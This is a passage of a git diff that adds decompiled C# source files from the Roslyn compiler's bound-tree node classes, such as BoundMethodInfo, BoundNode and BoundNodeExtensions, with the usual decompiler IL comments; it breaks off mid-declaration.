b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodInfo.cs new file mode 100644 index 0000000..1a847e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodInfo.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundMethodInfo : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public MethodSymbol Method { get; } + + public MethodSymbol? GetMethodFromHandle { get; } + + public BoundMethodInfo(SyntaxNode syntax, MethodSymbol method, MethodSymbol? getMethodFromHandle, TypeSymbol type, bool hasErrors) + : base(BoundKind.MethodInfo, syntax, type, hasErrors) + { + Method = method; + GetMethodFromHandle = getMethodFromHandle; + } + + public BoundMethodInfo(SyntaxNode syntax, MethodSymbol method, MethodSymbol? getMethodFromHandle, TypeSymbol type) + : base(BoundKind.MethodInfo, syntax, type) + { + Method = method; + GetMethodFromHandle = getMethodFromHandle; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitMethodInfo(this); + } + + public BoundMethodInfo Update(MethodSymbol method, MethodSymbol? getMethodFromHandle, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(method, Method) || !SymbolEqualityComparer.ConsiderEverything.Equals(getMethodFromHandle, GetMethodFromHandle) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundMethodInfo boundMethodInfo = new BoundMethodInfo(Syntax, method, getMethodFromHandle, type, base.HasErrors); + boundMethodInfo.CopyAttributes(this); + return boundMethodInfo; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodOrPropertyGroup.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodOrPropertyGroup.cs new file mode 100644 index 0000000..b00a6b0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMethodOrPropertyGroup.cs @@ -0,0 +1,22 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundMethodOrPropertyGroup : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)ReceiverOpt); + + public new TypeSymbol? Type => base.Type; + + public BoundExpression? ReceiverOpt { get; } + + public override LookupResultKind ResultKind { get; } + + protected BoundMethodOrPropertyGroup(BoundKind kind, SyntaxNode syntax, BoundExpression? receiverOpt, LookupResultKind resultKind, bool hasErrors = false) + : base(kind, syntax, null, hasErrors) + { + ReceiverOpt = receiverOpt; + ResultKind = resultKind; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundModuleVersionId.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundModuleVersionId.cs new file mode 100644 index 0000000..720d06c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundModuleVersionId.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundModuleVersionId : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundModuleVersionId(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.ModuleVersionId, syntax, type, hasErrors) + { + } + + public BoundModuleVersionId(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.ModuleVersionId, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitModuleVersionId(this); + } + + public BoundModuleVersionId Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundModuleVersionId boundModuleVersionId = new BoundModuleVersionId(Syntax, type, base.HasErrors); + boundModuleVersionId.CopyAttributes(this); + return boundModuleVersionId; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundModuleVersionIdString.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundModuleVersionIdString.cs new file mode 100644 index 0000000..eda1363 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundModuleVersionIdString.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundModuleVersionIdString : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundModuleVersionIdString(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.ModuleVersionIdString, syntax, type, hasErrors) + { + } + + public BoundModuleVersionIdString(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.ModuleVersionIdString, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitModuleVersionIdString(this); + } + + public BoundModuleVersionIdString Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundModuleVersionIdString boundModuleVersionIdString = new BoundModuleVersionIdString(Syntax, type, base.HasErrors); + boundModuleVersionIdString.CopyAttributes(this); + return boundModuleVersionIdString; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMultipleLocalDeclarations.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMultipleLocalDeclarations.cs new file mode 100644 index 0000000..d6565f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMultipleLocalDeclarations.cs @@ -0,0 +1,29 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundMultipleLocalDeclarations : BoundMultipleLocalDeclarationsBase +{ + public BoundMultipleLocalDeclarations(SyntaxNode syntax, ImmutableArray localDeclarations, bool hasErrors = false) + : base(BoundKind.MultipleLocalDeclarations, syntax, localDeclarations, hasErrors || localDeclarations.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitMultipleLocalDeclarations(this); + } + + public BoundMultipleLocalDeclarations Update(ImmutableArray localDeclarations) + { + if (localDeclarations != base.LocalDeclarations) + { + BoundMultipleLocalDeclarations boundMultipleLocalDeclarations = new BoundMultipleLocalDeclarations(Syntax, localDeclarations, base.HasErrors); + boundMultipleLocalDeclarations.CopyAttributes(this); + return boundMultipleLocalDeclarations; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMultipleLocalDeclarationsBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMultipleLocalDeclarationsBase.cs new file mode 100644 index 0000000..928a31b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundMultipleLocalDeclarationsBase.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundMultipleLocalDeclarationsBase : BoundStatement +{ + public ImmutableArray LocalDeclarations { get; } + + protected BoundMultipleLocalDeclarationsBase(BoundKind kind, SyntaxNode syntax, ImmutableArray localDeclarations, bool hasErrors = false) + : base(kind, syntax, hasErrors) + { + LocalDeclarations = localDeclarations; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNameOfOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNameOfOperator.cs new file mode 100644 index 0000000..e70c0e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNameOfOperator.cs @@ -0,0 +1,40 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNameOfOperator : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Argument); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Argument { get; } + + public override ConstantValue ConstantValueOpt { get; } + + public BoundNameOfOperator(SyntaxNode syntax, BoundExpression argument, ConstantValue constantValueOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.NameOfOperator, syntax, type, hasErrors || argument.HasErrors()) + { + Argument = argument; + ConstantValueOpt = constantValueOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNameOfOperator(this); + } + + public BoundNameOfOperator Update(BoundExpression argument, ConstantValue constantValueOpt, TypeSymbol type) + { + if (argument != Argument || constantValueOpt != ConstantValueOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundNameOfOperator boundNameOfOperator = new BoundNameOfOperator(Syntax, argument, constantValueOpt, type, base.HasErrors); + boundNameOfOperator.CopyAttributes(this); + return boundNameOfOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNamespaceExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNamespaceExpression.cs new file mode 100644 index 0000000..aa3f25c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNamespaceExpression.cs @@ -0,0 +1,61 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNamespaceExpression : BoundExpression +{ + public override Symbol ExpressionSymbol => (Symbol)(((object)AliasOpt) ?? ((object)NamespaceSymbol)); + + public new TypeSymbol? Type => base.Type; + + public NamespaceSymbol NamespaceSymbol { get; } + + public AliasSymbol? AliasOpt { get; } + + public BoundNamespaceExpression(SyntaxNode syntax, NamespaceSymbol namespaceSymbol, bool hasErrors = false) + : this(syntax, namespaceSymbol, null, hasErrors) + { + } + + public BoundNamespaceExpression(SyntaxNode syntax, NamespaceSymbol namespaceSymbol) + : this(syntax, namespaceSymbol, null) + { + } + + public BoundNamespaceExpression Update(NamespaceSymbol namespaceSymbol) + { + return Update(namespaceSymbol, AliasOpt); + } + + public BoundNamespaceExpression(SyntaxNode syntax, NamespaceSymbol namespaceSymbol, AliasSymbol? aliasOpt, bool hasErrors) + : base(BoundKind.NamespaceExpression, syntax, null, hasErrors) + { + NamespaceSymbol = namespaceSymbol; + AliasOpt = aliasOpt; + } + + public BoundNamespaceExpression(SyntaxNode syntax, NamespaceSymbol namespaceSymbol, AliasSymbol? aliasOpt) + : base(BoundKind.NamespaceExpression, syntax, null) + { + NamespaceSymbol = namespaceSymbol; + AliasOpt = aliasOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNamespaceExpression(this); + } + + public BoundNamespaceExpression Update(NamespaceSymbol namespaceSymbol, AliasSymbol? aliasOpt) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(namespaceSymbol, NamespaceSymbol) || !SymbolEqualityComparer.ConsiderEverything.Equals(aliasOpt, AliasOpt)) + { + BoundNamespaceExpression boundNamespaceExpression = new BoundNamespaceExpression(Syntax, namespaceSymbol, aliasOpt, base.HasErrors); + boundNamespaceExpression.CopyAttributes(this); + return boundNamespaceExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNegatedPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNegatedPattern.cs new file mode 100644 index 0000000..b7ec824 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNegatedPattern.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNegatedPattern : BoundPattern +{ + public BoundPattern Negated { get; } + + public BoundNegatedPattern(SyntaxNode syntax, BoundPattern negated, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.NegatedPattern, syntax, inputType, narrowedType, hasErrors || negated.HasErrors()) + { + Negated = negated; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNegatedPattern(this); + } + + public BoundNegatedPattern Update(BoundPattern negated, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (negated != Negated || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundNegatedPattern boundNegatedPattern = new BoundNegatedPattern(Syntax, negated, inputType, narrowedType, base.HasErrors); + boundNegatedPattern.CopyAttributes(this); + return boundNegatedPattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNewT.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNewT.cs new file mode 100644 index 0000000..94f8e95 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNewT.cs @@ -0,0 +1,50 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNewT : BoundObjectCreationExpressionBase +{ + public override MethodSymbol? Constructor => null; + + public override ImmutableArray Arguments => ImmutableArray.Empty; + + public override ImmutableArray ArgumentNamesOpt => default(ImmutableArray); + + public override ImmutableArray ArgumentRefKindsOpt => default(ImmutableArray); + + public override bool Expanded => false; + + public override ImmutableArray ArgsToParamsOpt => default(ImmutableArray); + + public override BitVector DefaultArguments => default(BitVector); + + public override BoundObjectInitializerExpressionBase? InitializerExpressionOpt { get; } + + public override bool WasTargetTyped { get; } + + public BoundNewT(SyntaxNode syntax, BoundObjectInitializerExpressionBase? initializerExpressionOpt, bool wasTargetTyped, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.NewT, syntax, type, hasErrors || initializerExpressionOpt.HasErrors()) + { + InitializerExpressionOpt = initializerExpressionOpt; + WasTargetTyped = wasTargetTyped; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNewT(this); + } + + public BoundNewT Update(BoundObjectInitializerExpressionBase? initializerExpressionOpt, bool wasTargetTyped, TypeSymbol type) + { + if (initializerExpressionOpt != InitializerExpressionOpt || wasTargetTyped != WasTargetTyped || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundNewT boundNewT = new BoundNewT(Syntax, initializerExpressionOpt, wasTargetTyped, type, base.HasErrors); + boundNewT.CopyAttributes(this); + return boundNewT; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNoOpStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNoOpStatement.cs new file mode 100644 index 0000000..3c20371 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNoOpStatement.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNoOpStatement : BoundStatement +{ + public NoOpStatementFlavor Flavor { get; } + + public BoundNoOpStatement(SyntaxNode syntax, NoOpStatementFlavor flavor, bool hasErrors) + : base(BoundKind.NoOpStatement, syntax, hasErrors) + { + Flavor = flavor; + } + + public BoundNoOpStatement(SyntaxNode syntax, NoOpStatementFlavor flavor) + : base(BoundKind.NoOpStatement, syntax) + { + Flavor = flavor; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNoOpStatement(this); + } + + public BoundNoOpStatement Update(NoOpStatementFlavor flavor) + { + if (flavor != Flavor) + { + BoundNoOpStatement boundNoOpStatement = new BoundNoOpStatement(Syntax, flavor, base.HasErrors); + boundNoOpStatement.CopyAttributes(this); + return boundNoOpStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNoPiaObjectCreationExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNoPiaObjectCreationExpression.cs new file mode 100644 index 0000000..dcc31c5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNoPiaObjectCreationExpression.cs @@ -0,0 +1,53 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNoPiaObjectCreationExpression : BoundObjectCreationExpressionBase +{ + public override MethodSymbol? Constructor => null; + + public override ImmutableArray Arguments => ImmutableArray.Empty; + + public override ImmutableArray ArgumentNamesOpt => default(ImmutableArray); + + public override ImmutableArray ArgumentRefKindsOpt => default(ImmutableArray); + + public override bool Expanded => false; + + public override ImmutableArray ArgsToParamsOpt => default(ImmutableArray); + + public override BitVector DefaultArguments => default(BitVector); + + public string? GuidString { get; } + + public override BoundObjectInitializerExpressionBase? InitializerExpressionOpt { get; } + + public override bool WasTargetTyped { get; } + + public BoundNoPiaObjectCreationExpression(SyntaxNode syntax, string? guidString, BoundObjectInitializerExpressionBase? initializerExpressionOpt, bool wasTargetTyped, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.NoPiaObjectCreationExpression, syntax, type, hasErrors || initializerExpressionOpt.HasErrors()) + { + GuidString = guidString; + InitializerExpressionOpt = initializerExpressionOpt; + WasTargetTyped = wasTargetTyped; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNoPiaObjectCreationExpression(this); + } + + public BoundNoPiaObjectCreationExpression Update(string? guidString, BoundObjectInitializerExpressionBase? initializerExpressionOpt, bool wasTargetTyped, TypeSymbol type) + { + if (guidString != GuidString || initializerExpressionOpt != InitializerExpressionOpt || wasTargetTyped != WasTargetTyped || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundNoPiaObjectCreationExpression boundNoPiaObjectCreationExpression = new BoundNoPiaObjectCreationExpression(Syntax, guidString, initializerExpressionOpt, wasTargetTyped, type, base.HasErrors); + boundNoPiaObjectCreationExpression.CopyAttributes(this); + return boundNoPiaObjectCreationExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNode.cs new file mode 100644 index 0000000..98a8307 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNode.cs @@ -0,0 +1,294 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Operations; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal abstract class BoundNode : IBoundNodeWithIOperationChildren +{ + [Flags] + private enum BoundNodeAttributes : short + { + HasErrors = 1, + CompilerGenerated = 2, + IsSuppressed = 4, + TopLevelFlowStateMaybeNull = 8, + TopLevelNotAnnotated = 0x10, + TopLevelAnnotated = 0x20, + TopLevelNone = 0x30, + TopLevelAnnotationMask = 0x30, + WasCompilerGeneratedIsChecked = 0x40, + WasTopLevelNullabilityChecked = 0x80, + WasConverted = 0x100, + AttributesPreservedInClone = 0x107 + } + + private readonly BoundKind _kind; + + private BoundNodeAttributes _attributes; + + public readonly SyntaxNode Syntax; + + public bool HasAnyErrors + { + get + { + if (HasErrors || (Syntax != null && Syntax.HasErrors)) + { + return true; + } + BoundExpression obj = this as BoundExpression; + if (obj == null) + { + return false; + } + return obj.Type?.IsErrorType() == true; + } + } + + public bool HasErrors + { + get + { + return (_attributes & BoundNodeAttributes.HasErrors) != 0; + } + private set + { + if (value) + { + _attributes |= BoundNodeAttributes.HasErrors; + } + } + } + + public SyntaxTree? SyntaxTree + { + get + { + SyntaxNode syntax = Syntax; + if (syntax == null) + { + return null; + } + return syntax.SyntaxTree; + } + } + + public bool WasCompilerGenerated + { + get + { + return (_attributes & BoundNodeAttributes.CompilerGenerated) != 0; + } + internal set + { + if (value) + { + _attributes |= BoundNodeAttributes.CompilerGenerated; + } + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + protected NullabilityInfo TopLevelNullability + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return TopLevelNullabilityCore; + } + set + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected I4, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + _attributes &= ~(BoundNodeAttributes.TopLevelNone | BoundNodeAttributes.TopLevelFlowStateMaybeNull); + BoundNodeAttributes attributes = _attributes; + NullableAnnotation annotation = ((NullabilityInfo)(ref value)).Annotation; + _attributes = (BoundNodeAttributes)((int)attributes | ((int)annotation switch + { + 2 => 32, + 1 => 16, + 0 => 48, + _ => throw ExceptionUtilities.UnexpectedValue((object)annotation), + })); + NullableFlowState flowState = ((NullabilityInfo)(ref value)).FlowState; + if ((int)flowState != 1) + { + if ((int)flowState != 2) + { + throw ExceptionUtilities.UnexpectedValue((object)((NullabilityInfo)(ref value)).FlowState); + } + _attributes |= BoundNodeAttributes.TopLevelFlowStateMaybeNull; + } + } + } + + private NullabilityInfo TopLevelNullabilityCore + { + get + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + if ((_attributes & BoundNodeAttributes.TopLevelNone) == 0) + { + return default(NullabilityInfo); + } + BoundNodeAttributes boundNodeAttributes = _attributes & BoundNodeAttributes.TopLevelNone; + _003F val = boundNodeAttributes switch + { + BoundNodeAttributes.TopLevelAnnotated => 2, + BoundNodeAttributes.TopLevelNotAnnotated => 1, + BoundNodeAttributes.TopLevelNone => 0, + _ => throw ExceptionUtilities.UnexpectedValue((object)boundNodeAttributes), + }; + NullableFlowState val2 = (NullableFlowState)(((_attributes & BoundNodeAttributes.TopLevelFlowStateMaybeNull) == 0) ? 1 : 2); + return new NullabilityInfo((NullableAnnotation)val, val2); + } + } + + public bool IsSuppressed + { + get + { + return (_attributes & BoundNodeAttributes.IsSuppressed) != 0; + } + protected set + { + if (value) + { + _attributes |= BoundNodeAttributes.IsSuppressed; + } + } + } + + public BoundKind Kind => _kind; + + ImmutableArray IBoundNodeWithIOperationChildren.Children => Children; + + protected virtual ImmutableArray Children => ImmutableArray.Empty; + + protected new BoundNode MemberwiseClone() + { + BoundNode obj = (BoundNode)base.MemberwiseClone(); + obj._attributes &= BoundNodeAttributes.AttributesPreservedInClone; + return obj; + } + + protected BoundNode(BoundKind kind, SyntaxNode syntax) + { + _kind = kind; + Syntax = syntax; + } + + protected BoundNode(BoundKind kind, SyntaxNode syntax, bool hasErrors) + : this(kind, syntax) + { + if (hasErrors) + { + _attributes = BoundNodeAttributes.HasErrors; + } + } + + protected void CopyAttributes(BoundNode original) + { + WasCompilerGenerated = original.WasCompilerGenerated; + IsSuppressed = original.IsSuppressed; + } + + public void ResetCompilerGenerated(bool newCompilerGenerated) + { + if (newCompilerGenerated) + { + _attributes |= BoundNodeAttributes.CompilerGenerated; + } + else + { + _attributes &= ~BoundNodeAttributes.CompilerGenerated; + } + } + + public virtual BoundNode? Accept(BoundTreeVisitor visitor) + { + throw new NotImplementedException(); + } + + internal BoundNode WithHasErrors() + { + if (HasErrors) + { + return this; + } + BoundNode boundNode = MemberwiseClone(); + boundNode.HasErrors = true; + return boundNode; + } + + internal string GetDebuggerDisplay() + { + string text = GetType().Name; + if (Syntax != null) + { + text = text + " " + ((object)Syntax).ToString(); + } + return text; + } + + [Conditional("DEBUG")] + public void CheckLocalsDefined() + { + } + + public static Conversion GetConversion(BoundExpression? conversion, BoundValuePlaceholder? placeholder) + { + if (conversion != null) + { + BoundConversion boundConversion = conversion as BoundConversion; + if (boundConversion == null) + { + if (conversion is BoundValuePlaceholder boundValuePlaceholder && boundValuePlaceholder == placeholder) + { + return Conversion.Identity; + } + } + else + { + if (boundConversion.Operand == placeholder) + { + return boundConversion.Conversion; + } + if (!boundConversion.Conversion.IsUserDefined) + { + boundConversion = (BoundConversion)boundConversion.Operand; + } + BoundConversion boundConversion2; + if (boundConversion.Conversion.IsUserDefined && (boundConversion.Operand == placeholder || (boundConversion2 = (BoundConversion)boundConversion.Operand).Operand == placeholder || ((BoundConversion)boundConversion2.Operand).Operand == placeholder)) + { + return boundConversion.Conversion; + } + } + throw ExceptionUtilities.UnexpectedValue((object)conversion); + } + return Conversion.NoConversion; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNodeExtensions.cs new file mode 100644 index 0000000..a45185e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNodeExtensions.cs @@ -0,0 +1,240 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class BoundNodeExtensions +{ + private class ContainsAwaitVisitor : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + public bool ContainsAwait; + + public override BoundNode? Visit(BoundNode? node) + { + if (!ContainsAwait) + { + return base.Visit(node); + } + return null; + } + + public override BoundNode? VisitAwaitExpression(BoundAwaitExpression node) + { + ContainsAwait = true; + return null; + } + } + + public static bool HasErrors(this ImmutableArray nodeArray) where T : BoundNode + { + if (nodeArray.IsDefault) + { + return false; + } + int i = 0; + for (int length = nodeArray.Length; i < length; i++) + { + if (nodeArray[i].HasErrors) + { + return true; + } + } + return false; + } + + public static bool HasErrors([NotNullWhen(true)] this BoundNode? node) + { + return node?.HasErrors ?? false; + } + + public static bool IsConstructorInitializer(this BoundStatement statement) + { + if (statement.Kind == BoundKind.ExpressionStatement) + { + BoundExpression boundExpression = ((BoundExpressionStatement)statement).Expression; + if (boundExpression.Kind == BoundKind.Sequence && ((BoundSequence)boundExpression).SideEffects.IsDefaultOrEmpty) + { + boundExpression = ((BoundSequence)boundExpression).Value; + } + if (boundExpression.Kind == BoundKind.Call) + { + return ((BoundCall)boundExpression).IsConstructorInitializer(); + } + return false; + } + return false; + } + + public static bool IsConstructorInitializer(this BoundCall call) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + MethodSymbol method = call.Method; + BoundExpression receiverOpt = call.ReceiverOpt; + if ((int)method.MethodKind == 1 && receiverOpt != null) + { + if (receiverOpt.Kind != BoundKind.ThisReference) + { + return receiverOpt.Kind == BoundKind.BaseReference; + } + return true; + } + return false; + } + + public static T MakeCompilerGenerated(this T node) where T : BoundNode + { + node.WasCompilerGenerated = true; + return node; + } + + public static bool ContainsAwaitExpression(this ImmutableArray expressions) + { + ContainsAwaitVisitor containsAwaitVisitor = new ContainsAwaitVisitor(); + ImmutableArray.Enumerator enumerator = expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + containsAwaitVisitor.Visit(current); + if (containsAwaitVisitor.ContainsAwait) + { + return true; + } + } + return false; + } + + public static bool 